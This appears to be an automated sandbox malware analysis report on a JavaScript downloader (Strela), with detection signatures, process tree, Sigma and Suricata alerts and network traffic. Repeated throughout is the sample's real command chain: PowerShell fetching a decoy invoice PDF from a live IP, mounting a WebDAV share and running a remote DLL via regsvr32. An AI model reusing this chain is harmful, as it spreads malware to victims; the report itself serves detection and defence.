Edit tour

Windows Analysis Report
571464521086425926.js

Overview

General Information

Sample name:	571464521086425926.js
Analysis ID:	1587548
MD5:	9000690d1b8b2fcbd9632a67b1d6357c
SHA1:	416a01a94c9e0e358ac11b9dcd916120efa255dd
SHA256:	8086b389003e4113d766193219a42fe7918f44bbd945dfa3f0b2428db368f300
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7000 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1284 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6008 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5576 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6236 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7272 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1756,i,8073324736629233137,16108880164498888717,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5172 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7088 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4520 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7000	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1284, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6008, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1284, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6008, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js", ProcessId: 7000, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7088, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7000, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, ProcessId: 1284, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7000, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, ProcessId: 1284, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7000, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, ProcessId: 1284, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7000, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, ProcessId: 1284, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7000, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, ProcessId: 1284, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js", ProcessId: 7000, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1284, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6008, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5172, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7088, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4520, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5172, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7088, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7000, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll, ProcessId: 1284, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:45:16.487790+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:45:13.703943+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 571464521086425926.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 571464521086425926.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:45:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:57473 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

